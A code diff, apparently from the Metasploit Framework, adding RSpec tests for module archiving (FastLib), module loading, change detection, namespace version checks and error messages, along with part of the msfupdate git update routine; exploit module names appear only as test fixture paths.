####### Since we're Git, do it all that way #######
if is_git
remote = @git_remote || "origin"
branch = @git_branch || "master"
# This will save local changes in a stash, but won't
# attempt to reapply them. If the user wants them back
# they can always git stash pop them, and that presumes
# they know what they're doing when they're editing local
# checkout, which presumes they're not using msfupdate
# to begin with.
#
# Note, this requires at least user.name and user.email
# to be configured in the global git config. Installers should
# take care that this is done. TODO: Enforce this in msfupdate
res = system("git", "stash")
if res.nil?
$stderr.puts "[-] ERROR: Failed to run git"
$stderr.puts ""
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
$stderr.puts "[-] to ensure a proper environment."
exit 1
else
$stdout.puts "[*] Stashed local changes (if any) to avoid merge conflicts."
$stdout.puts "[*] Run 'git stash pop' to reapply local changes."
end
system("git", "reset", "HEAD", "--hard")
system("git", "checkout", branch)
system("git", "fetch")
system("git", "merge", "#{remote}/#{branch}")
end
unless is_svn || is_git
raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'"
end
if @actually_wait

231
spec/lib/fastlib_spec.rb Normal file
View File

@ -0,0 +1,231 @@
require 'spec_helper'
require 'msf/core'
describe FastLib do
let(:archived_paths) do
[
File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'),
File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb')
]
end
let(:base_path) do
File.join(Msf::Config.install_root, 'modules')
end
let(:extension) do
'.fastlib'
end
let(:flag_compress) do
0x01
end
let(:flag_encrypt) do
0x02
end
let(:unarchived_paths) do
archived_paths.collect { |archived_path|
File.join(base_path, archived_path)
}
end
context 'CONSTANTS' do
context 'flags' do
it 'should have compression' do
described_class::FLAG_COMPRESS.should == flag_compress
end
it 'should have encryption' do
described_class::FLAG_ENCRYPT.should == flag_encrypt
end
end
end
context 'class methods' do
context 'dump' do
let(:flag_string) do
flags.to_s(16)
end
before(:each) do
FastLib.cache.clear
end
around(:each) do |example|
Dir.mktmpdir do |directory|
@destination_path = File.join(directory, "rspec#{extension}")
example.run
end
end
context 'without compression and without encryption' do
let(:flags) do
0x0
end
it 'should create an archive' do
File.exist?(@destination_path).should be_false
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true
end
context 'cache' do
it 'should populate' do
FastLib.cache[@destination_path].should be_nil
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
FastLib.cache[@destination_path].should be_a Hash
end
it 'should include flags' do
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
FastLib.cache[@destination_path][:fastlib_flags].should == flags
end
pending "Fix https://www.pivotaltracker.com/story/show/38730815" do
it 'should include header' do
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
header = FastLib.cache[@destination_path][:fastlib_header]
modification_time = File.mtime(@destination_path).utc.to_i
header.should be_a Array
# @todo figure out why 12 before header length
header[0].should == 12
# @todo figure out why header length is 0
header[1].should == 0
header[2].should == modification_time
end
it 'should include archived paths' do
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
cache = FastLib.cache[@destination_path]
archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb')
unarchived_path = File.join(base_path, archived_path)
# make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be
# in the archive.
File.exist?(unarchived_path).should be_true
cache[archived_path].should_not be_nil
end
end
end
end
context 'with compression and without encryption' do
let(:flags) do
flag_compress
end
it 'should create an archive' do
File.exist?(@destination_path).should be_false
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true
end
it 'should be smaller than the uncompressed archive' do
uncompressed_path = "#{@destination_path}.uncompressed"
compressed_path = "#{@destination_path}.compressed"
File.exist?(uncompressed_path).should be_false
File.exist?(compressed_path).should be_false
described_class.dump(uncompressed_path, '', base_path, *unarchived_paths)
described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths)
File.exist?(uncompressed_path).should be_true
File.exist?(compressed_path).should be_true
File.size(compressed_path).should < File.size(uncompressed_path)
end
end
context 'without compression and with encryption' do
let(:flags) do
flag_encrypt
end
it 'should create an archive' do
File.exist?(@destination_path).should be_false
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true
end
end
context 'with compression and with encryption' do
let(:flags) do
flag_compress | flag_encrypt
end
it 'should create an archive' do
File.exist?(@destination_path).should be_false
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true
end
end
end
context 'list' do
around(:each) do |example|
Dir.mktmpdir do |directory|
@destination_path = File.join(directory, "rspec#{extension}")
FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths)
example.run
end
end
# ensure modules expected to be listed actually exist
it 'should use existent unarchived modules' do
unarchived_paths.each do |unarchived_path|
File.exist?(unarchived_path).should be_true
end
end
context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do
it 'should have dump cached' do
FastLib.cache[@destination_path].should_not be_nil
end
it 'should list archived paths' do
paths = FastLib.list(@destination_path)
paths.length.should == archived_paths.length
paths.should == archived_paths
end
end
context 'without cached dump' do
before(:each) do
FastLib.cache.clear
end
it 'should not have dump cache' do
FastLib.cache[@destination_path].should be_nil
end
it 'should list archived paths' do
paths = FastLib.list(@destination_path)
paths.length.should == archived_paths.length
paths.should == archived_paths
end
end
end
end
end

View File

@ -107,4 +107,82 @@ describe Msf::ModuleManager do
end
end
end
context '#file_changed?' do
let(:module_basename) do
[basename_prefix, '.rb']
end
it 'should return true if module info is not cached' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
subject.send(:module_info_by_path)[module_path].should be_nil
subject.file_changed?(module_path).should be_true
end
end
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path)
subject.send(:module_info_by_path)[module_path] = {
# :modification_time must match so that it is the :type that is causing the `true` and not the
# :modification_time causing the `true`.
:modification_time => modification_time,
:type => Msf::MODULE_PAYLOAD
}
subject.file_changed?(module_path).should be_true
end
end
context 'with cache module info and not a payload module' do
it 'should return true if the file does not exist on the file system' do
tempfile = Tempfile.new(module_basename)
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => modification_time
}
tempfile.unlink
File.exist?(module_path).should be_false
subject.file_changed?(module_path).should be_true
end
it 'should return true if modification time does not match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = (modification_time * rand).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should_not == modification_time
subject.file_changed?(module_path).should be_true
end
end
it 'should return false if modification time does match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = modification_time
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should == modification_time
subject.file_changed?(module_path).should be_false
end
end
end
end
end

View File

@ -0,0 +1,101 @@
require 'spec_helper'
describe Msf::Modules::Error do
context 'instance methods' do
context '#initialize' do
include_context 'Msf::Modules::Error attributes'
context 'with :causal_message' do
subject do
described_class.new(:causal_message => causal_message)
end
it 'should include causal_message in error' do
subject.to_s.should == "Failed to load module due to #{causal_message}"
end
end
context 'with :causal_message and :module_path' do
subject do
described_class.new(
:causal_message => causal_message,
:module_path => module_path
)
end
it 'should include causal_message and module_path in error' do
subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}"
end
end
context 'with :causal_message and :module_reference_name' do
subject do
described_class.new(
:causal_message => causal_message,
:module_reference_name => module_reference_name
)
end
it 'should include causal_message and module_reference_name in error' do
subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}"
end
end
context 'with :causal_message, :module_path, and :module_reference_nam' do
subject do
described_class.new(
:causal_message => causal_message,
:module_path => module_path,
:module_reference_name => module_reference_name
)
end
it 'should include causal_message, module_path, and module_reference_name in error' do
subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}"
end
end
context 'with :module_path' do
subject do
described_class.new(:module_path => module_path)
end
it 'should use :module_path for module_path' do
subject.module_path.should == module_path
end
it 'should include module_path in error' do
subject.to_s.should == "Failed to load module (from #{module_path})"
end
end
context 'with :module_path and :module_reference_name' do
subject do
described_class.new(
:module_path => module_path,
:module_reference_name => module_reference_name
)
end
it 'should include module_path and module_reference_name in error' do
subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})"
end
end
context 'with :module_reference_name' do
subject do
described_class.new(:module_reference_name => module_reference_name)
end
it 'should use :module_reference_name for module_reference_name' do
subject.module_reference_name.should == module_reference_name
end
it 'should include module_reference_name in error' do
subject.to_s.should == "Failed to load module (#{module_reference_name})"
end
end
end
end
end

View File

@ -0,0 +1,275 @@
require 'spec_helper'
require 'msf/core'
describe Msf::Modules::Loader::Archive do
let(:archive_extension) do
'.fastlib'
end
context 'CONSTANTS' do
it 'should have extension' do
described_class::ARCHIVE_EXTENSION.should == archive_extension
end
end
context 'instance methods' do
let(:enabled_type) do
'exploit'
end
let(:enabled_type_directory) do
'exploits'
end
let(:framework) do
mock('Framework')
end
let(:module_extension) do
'.rb'
end
let(:module_manager) do
# DO NOT mock module_manager to ensure that no protected methods are being called.
Msf::ModuleManager.new(framework, [enabled_type])
end
let(:module_reference_name) do
'module/reference/name'
end
subject do
described_class.new(module_manager)
end
context '#each_module_reference_name' do
let(:disabled_module_content) do
<<-EOS
class Metasploit3 < Msf::Auxiliary
end
EOS
end
let(:disabled_type) do
'auxiliary'
end
let(:disabled_type_directory) do
'auxiliary'
end
let(:enabled_module_content) do
<<-EOS
class Metasploit3 < Msf::Exploit::Remote
end
EOS
end
around(:each) do |example|
Dir.mktmpdir do |directory|
@base_path = directory
# make a .svn directory to be ignored
subversion_path = File.join(@base_path, '.svn')
FileUtils.mkdir_p subversion_path
# make a type directory that should be ignored because it's not enabled
disabled_type_path = File.join(@base_path, disabled_type_directory)
FileUtils.mkdir_p disabled_type_path
#
# create a valid module in the disabled type directory to make sure it's the enablement that's preventing the
# yield
#
disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}")
File.open(disabled_module_path, 'wb') do |f|
f.write(disabled_module_content)
end
# make a type directory that should not be ignored because it is enabled
enabled_module_path = File.join(
@base_path,
enabled_type_directory,
"#{module_reference_name}#{module_extension}"
)
enabled_module_directory = File.dirname(enabled_module_path)
FileUtils.mkdir_p enabled_module_directory
File.open(enabled_module_path, 'wb') do |f|
f.write(enabled_module_content)
end
Dir.mktmpdir do |archive_directory|
@archive_path = File.join(archive_directory, "rspec#{archive_extension}")
FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path)
# @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around
FastLib.cache.clear
example.run
end
end
end
# this checks that the around(:each) is working
it 'should have an existent FastLib' do
File.exist?(@archive_path).should be_true
end
it 'should ignore .svn directories' do
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
parent_path.should_not include('.svn')
end
end
it 'should ignore types that are not enabled' do
module_manager.type_enabled?(disabled_type).should be_false
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
type.should_not == disabled_type
end
end
it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
parent_path.should == @archive_path
end
end
it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do
module_manager.type_enabled?(enabled_type).should be_true
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
type.should == enabled_type
end
end
it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/)
module_reference_name.should == module_reference_name
end
end
# ensure that the block is actually being run so that shoulds in the block aren't just being skipped
it 'should yield the correct number of tuples' do
actual_count = 0
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
actual_count += 1
end
actual_count.should == 1
end
end
context '#loadable?' do
it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do
path = "path/to/archive#{archive_extension}"
File.extname(path).should == described_class::ARCHIVE_EXTENSION
subject.loadable?(path).should be_true
end
it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do
path = "path/to/archive#{archive_extension}.bak"
path.should include(described_class::ARCHIVE_EXTENSION)
File.extname(path).should_not == described_class::ARCHIVE_EXTENSION
subject.loadable?(path).should be_false
end
end
context '#module_path' do
let(:parent_path) do
"path/to/archive#{archive_extension}"
end
let(:type) do
'exploit'
end
let(:type_directory) do
'exploits'
end
it 'should use typed_path to convert the type name to a type directory' do
subject.should_receive(:typed_path).with(type, module_reference_name)
subject.send(:module_path, parent_path, type, module_reference_name)
end
it "should separate the archive path from the entry path with '::'" do
module_path = subject.send(:module_path, parent_path, type, module_reference_name)
module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb"
end
end
context '#read_module_path' do
let(:module_reference_name) do
'windows/smb/ms08_067_netapi'
end
let(:type) do
enabled_type
end
let(:type_directory) do
enabled_type_directory
end
let(:archived_path) do
File.join(type_directory, "#{module_reference_name}#{module_extension}")
end
let(:base_path) do
File.join(Msf::Config.install_root, 'modules')
end
let(:flag_string) do
flags.to_s(16)
end
let(:flags) do
0x0
end
let(:unarchived_path) do
File.join(base_path, archived_path)
end
it 'should read modules that exist' do
File.exist?(unarchived_path).should be_true
end
around(:each) do |example|
Dir.mktmpdir do |directory|
@parent_path = File.join(directory, 'rspec.fastlib')
FastLib.dump(@parent_path, flag_string, base_path, unarchived_path)
# @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct
FastLib.cache.clear
example.run
end
end
context 'with uncompressed archive' do
it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content'
end
context 'with compressed archive' do
let(:flags) do
FastLib::FLAG_COMPRESS
end
it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content'
end
end
end
end

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,127 @@
require 'spec_helper'
require 'msf/core'
require 'msf/core/modules/loader/directory'
require 'msf/core'
describe Msf::Modules::Loader::Directory do
context 'instance methods' do
include_context 'Msf::Modules::Loader::Base'
let(:module_manager) do
mock('Module Manager')
end
let(:module_path) do
"#{parent_path}/exploits/#{module_reference_name}.rb"
end
let(:type) do
'exploit'
end
subject do
described_class.new(module_manager)
end
context '#load_module' do
context 'with existent module_path' do
let(:framework) do
framework = mock('Msf::Framework', :datastore => {})
events = mock('Events')
events.stub(:on_module_load)
events.stub(:on_module_created)
framework.stub(:events => events)
framework
end
let(:module_full_name) do
"#{type}/#{module_reference_name}"
end
let(:module_manager) do
Msf::ModuleManager.new(framework)
end
let(:module_reference_name) do
'windows/smb/ms08_067_netapi'
end
it 'should load a module that can be created' do
subject.load_module(parent_path, type, module_reference_name).should be_true
created_module = module_manager.create(module_full_name)
created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption'
end
end
context 'without existent module_path' do
let(:module_reference_name) do
'osx/armle/safari_libtiff'
end
let(:error) do
Errno::ENOENT.new(module_path)
end
before(:each) do
module_manager.stub(:file_changed? => true)
module_manager.stub(:module_load_error_by_path => {})
end
it 'should not raise an error' do
File.exist?(module_path).should be_false
expect {
subject.load_module(parent_path, type, module_reference_name)
}.to_not raise_error
end
it 'should return false' do
File.exist?(module_path).should be_false
subject.load_module(parent_path, type, module_reference_name).should be_false
end
end
end
context '#read_module_content' do
context 'with non-existent module_path' do
let(:module_reference_name) do
'osx/armle/safari_libtiff'
end
before(:each) do
subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT))
end
# this ensures that the File.exist?(module_path) checks are checking the same path as the code under test
it 'should attempt to open the expected module_path' do
File.should_receive(:open).with(module_path, 'rb')
File.exist?(module_path).should be_false
subject.send(:read_module_content, parent_path, type, module_reference_name)
end
it 'should not raise an error' do
expect {
subject.send(:read_module_content, parent_path, type, module_reference_name)
}.to_not raise_error
end
it 'should return an empty string' do
subject.send(:read_module_content, parent_path, type, module_reference_name).should == ''
end
it 'should record the load error' do
subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT))
subject.send(:read_module_content, parent_path, type, module_reference_name).should == ''
end
end
end
end
end

View File

@ -0,0 +1,7 @@
require 'spec_helper'
require 'msf/core/modules/metasploit_class_compatibility_error'
describe Msf::Modules::MetasploitClassCompatibilityError do
it_should_behave_like 'Msf::Modules::Error subclass #initialize'
end

View File

@ -0,0 +1,267 @@
require 'spec_helper'
require 'msf/core'
require 'msf/core/modules/namespace'
describe Msf::Modules::Namespace do
let(:module_path) do
"parent/path/type_directory/#{module_reference_name}.rb"
end
let(:module_reference_name) do
'module/reference/name'
end
subject do
mod = Module.new
mod.extend described_class
mod
end
context 'metasploit_class' do
before(:each) do
if major
subject.const_set("Metasploit#{major}", Class.new)
end
end
context 'without Metasploit<n> constant defined' do
let(:major) do
nil
end
it 'should not be defined' do
metasploit_constants = subject.constants.select { |constant|
constant.to_s =~ /Metasploit/
}
metasploit_constants.should be_empty
end
end
context 'with Metasploit1 constant defined' do
let(:major) do
1
end
it 'should be defined' do
subject.const_defined?('Metasploit1').should be_true
end
it 'should return the class' do
subject.metasploit_class.should be_a Class
end
end
context 'with Metasploit2 constant defined' do
let(:major) do
2
end
it 'should be defined' do
subject.const_defined?('Metasploit2').should be_true
end
it 'should return the class' do
subject.metasploit_class.should be_a Class
end
end
context 'with Metasploit3 constant defined' do
let(:major) do
3
end
it 'should be defined' do
subject.const_defined?('Metasploit3').should be_true
end
it 'should return the class' do
subject.metasploit_class.should be_a Class
end
end
context 'with Metasploit4 constant defined' do
let(:major) do
4
end
it 'should be defined' do
subject.const_defined?('Metasploit4').should be_true
end
it 'should return the class' do
subject.metasploit_class.should be_a Class
end
end
context 'with Metasploit5 constant defined' do
let(:major) do
5
end
it 'should be defined' do
subject.const_defined?('Metasploit5').should be_true
end
it 'should be newer than Msf::Framework::Major' do
major.should > Msf::Framework::Major
end
it 'should return nil' do
subject.metasploit_class.should be_nil
end
end
end
context 'metasploit_class!' do
it 'should call metasploit_class' do
subject.should_receive(:metasploit_class).and_return(Class.new)
subject.metasploit_class!(module_path, module_reference_name)
end
context 'with metasploit_class' do
let(:metasploit_class) do
Class.new
end
before(:each) do
subject.stub(:metasploit_class => metasploit_class)
end
it 'should return the metasploit_class' do
subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class
end
end
context 'without metasploit_class' do
before(:each) do
subject.stub(:metasploit_class => nil)
end
it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do
expect {
subject.metasploit_class!(module_path, module_reference_name)
}.to raise_error(Msf::Modules::MetasploitClassCompatibilityError)
end
context 'the Msf::Modules::MetasploitClassCompatibilityError' do
it 'should include the module path' do
error = nil
begin
subject.metasploit_class!(module_path, module_reference_name)
rescue Msf::Modules::MetasploitClassCompatibilityError => error
end
error.should_not be_nil
error.to_s.should include(module_path)
end
it 'should include the module reference name' do
error = nil
begin
subject.metasploit_class!(module_path, module_reference_name)
rescue Msf::Modules::MetasploitClassCompatibilityError => error
end
error.should_not be_nil
error.to_s.should include(module_reference_name)
end
end
end
end
context 'version_compatible!' do
context 'without RequiredVersions' do
it 'should not be defined' do
subject.const_defined?('RequiredVersions').should be_false
end
it 'should not raise an error' do
expect {
subject.version_compatible!(module_path, module_reference_name)
}.to_not raise_error
end
end
context 'with RequiredVersions defined' do
let(:minimum_api_version) do
1
end
let(:minimum_core_version) do
1
end
before(:each) do
subject.const_set(
:RequiredVersions,
[
minimum_core_version,
minimum_api_version
]
)
end
context 'with minimum Core version' do
it 'should be <= Msf::Framework::VersionCore' do
minimum_core_version.should <= Msf::Framework::VersionCore
end
context 'without minimum API version' do
let(:minimum_api_version) do
2
end
it 'should be > Msf::Framework::VersionAPI' do
minimum_api_version.should > Msf::Framework::VersionAPI
end
it_should_behave_like 'Msf::Modules::VersionCompatibilityError'
end
context 'with minimum API version' do
it 'should not raise an error' do
expect {
subject.version_compatible!(module_path, module_reference_name)
}.to_not raise_error(Msf::Modules::VersionCompatibilityError)
end
end
end
context 'without minimum Core version' do
let(:minimum_core_version) do
5
end
it 'should be > Msf::Framework::VersionCore' do
minimum_core_version.should > Msf::Framework::VersionCore
end
context 'without minimum API version' do
let(:minimum_api_version) do
2
end
it 'should be > Msf::Framework::VersionAPI' do
minimum_api_version.should > Msf::Framework::VersionAPI
end
it_should_behave_like 'Msf::Modules::VersionCompatibilityError'
end
context 'with minimum API version' do
it 'should be <= Msf::Framework::VersionAPI' do
minimum_api_version <= Msf::Framework::VersionAPI
end
it_should_behave_like 'Msf::Modules::VersionCompatibilityError'
end
end
end
end
end

View File

@ -0,0 +1,62 @@
require 'spec_helper'
describe Msf::Modules::VersionCompatibilityError do
it_should_behave_like 'Msf::Modules::Error subclass #initialize' do
let(:minimum_api_version) do
1
end
let(:minimum_core_version) do
2
end
it 'should say cause was version check' do
subject.to_s.should match(/due to version check/)
end
context 'with :minimum_api_version' do
subject do
described_class.new(
:minimum_api_version => minimum_api_version
)
end
it 'should set minimum_api_version' do
subject.minimum_api_version.should == minimum_api_version
end
it 'should include minimum_api_version in error' do
subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/)
end
end
context 'with :minimum_api_version and :minimum_core_version' do
subject do
described_class.new(
:minimum_api_version => minimum_api_version,
:minimum_core_version => minimum_core_version
)
end
it 'should include minimum_api_version and minimum_core_version in error' do
subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/)
end
end
context 'with :minimum_core_version' do
subject do
described_class.new(
:minimum_core_version => minimum_core_version
)
end
it 'should set minimum_core_version' do
subject.minimum_core_version.should == minimum_core_version
end
it 'should include minimum_core_version in error' do
subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/)
end
end
end
end

View File

@ -8,6 +8,11 @@ root_pathname = spec_pathname.join('..').expand_path
lib_pathname = root_pathname.join('lib')
$LOAD_PATH.unshift(lib_pathname.to_s)
# must be first require and started before any other requires so that it can measure coverage of all following required
# code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov.
require 'simplecov'
SimpleCov.start
require 'rspec/core'
# Requires supporting ruby files with custom matchers and macros, etc,

View File

@ -0,0 +1,13 @@
shared_context 'Msf::Modules::Error attributes' do
let(:causal_message) do
'rspec'
end
let(:module_path) do
"parent/path/type/#{module_reference_name}.rb"
end
let(:module_reference_name) do
'module/reference/name'
end
end

View File

@ -0,0 +1,13 @@
shared_context "Msf::Modules::Loader::Base" do
let(:parent_path) do
parent_pathname.to_s
end
let(:parent_pathname) do
root_pathname.join('modules')
end
let(:root_pathname) do
Pathname.new(Msf::Config.install_root)
end
end

View File

@ -0,0 +1,26 @@
shared_examples_for 'Msf::Modules::Error subclass #initialize' do
context 'instance methods' do
context '#initialize' do
include_context 'Msf::Modules::Error attributes'
subject do
described_class.new(
:module_path => module_path,
:module_reference_name => module_reference_name
)
end
it 'should include causal message in error' do
subject.to_s.should match(/due to .*/)
end
it 'should set module_path' do
subject.module_path.should == module_path
end
it 'should set module_reference_name' do
subject.module_reference_name.should == module_reference_name
end
end
end
end

View File

@ -0,0 +1,13 @@
shared_examples_for 'Msf::Modules::Loader::Archive#read_module_content' do
it 'should be able to read the module content' do
archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name)
unarchived_module_content = ''
File.open(unarchived_path) do |f|
unarchived_module_content = f.read
end
unarchived_module_content.should_not be_empty
archived_module_content.should == unarchived_module_content
end
end

View File

@ -0,0 +1,32 @@
shared_examples_for 'Msf::Modules::VersionCompatibilityError' do
let(:error) do
begin
subject.version_compatible!(module_path, module_reference_name)
rescue Msf::Modules::VersionCompatibilityError => error
end
error
end
it 'should be raised' do
expect {
subject.version_compatible!(module_path, module_reference_name)
}.to raise_error(Msf::Modules::VersionCompatibilityError)
end
it 'should include minimum API version' do
error.to_s.should include(minimum_api_version.to_s)
end
it 'should include minimum Core version' do
error.to_s.should include(minimum_core_version.to_s)
end
it 'should include module path' do
error.to_s.should include(module_path)
end
it 'should include module reference name' do
error.to_s.should include(module_reference_name)
end
end

View File

@ -0,0 +1,27 @@
shared_examples_for 'typed_path' do |map={}|
if map.length < 1
raise ArgumentError,
"type_path shared example requires a hash mapping the type constant name to the directory name: " \
"it_should_behave_like 'type_path', 'Msf::Auxiliary' => 'auxiliary'"
end
if map.length > 1
raise ArgumentError,
"only one constant to directory mapping should be passed to each shared example, not #{map.length}"
end
type_constant_name, directory = map.shift
context "with #{type_constant_name} type" do
let(:type_constant) do
type_constant_name.constantize
end
it "should start with #{directory} directory" do
typed_path = described_class.typed_path(type_constant, module_reference_name)
first_directory = typed_path.split(File::SEPARATOR).first
first_directory.should == directory
end
end
end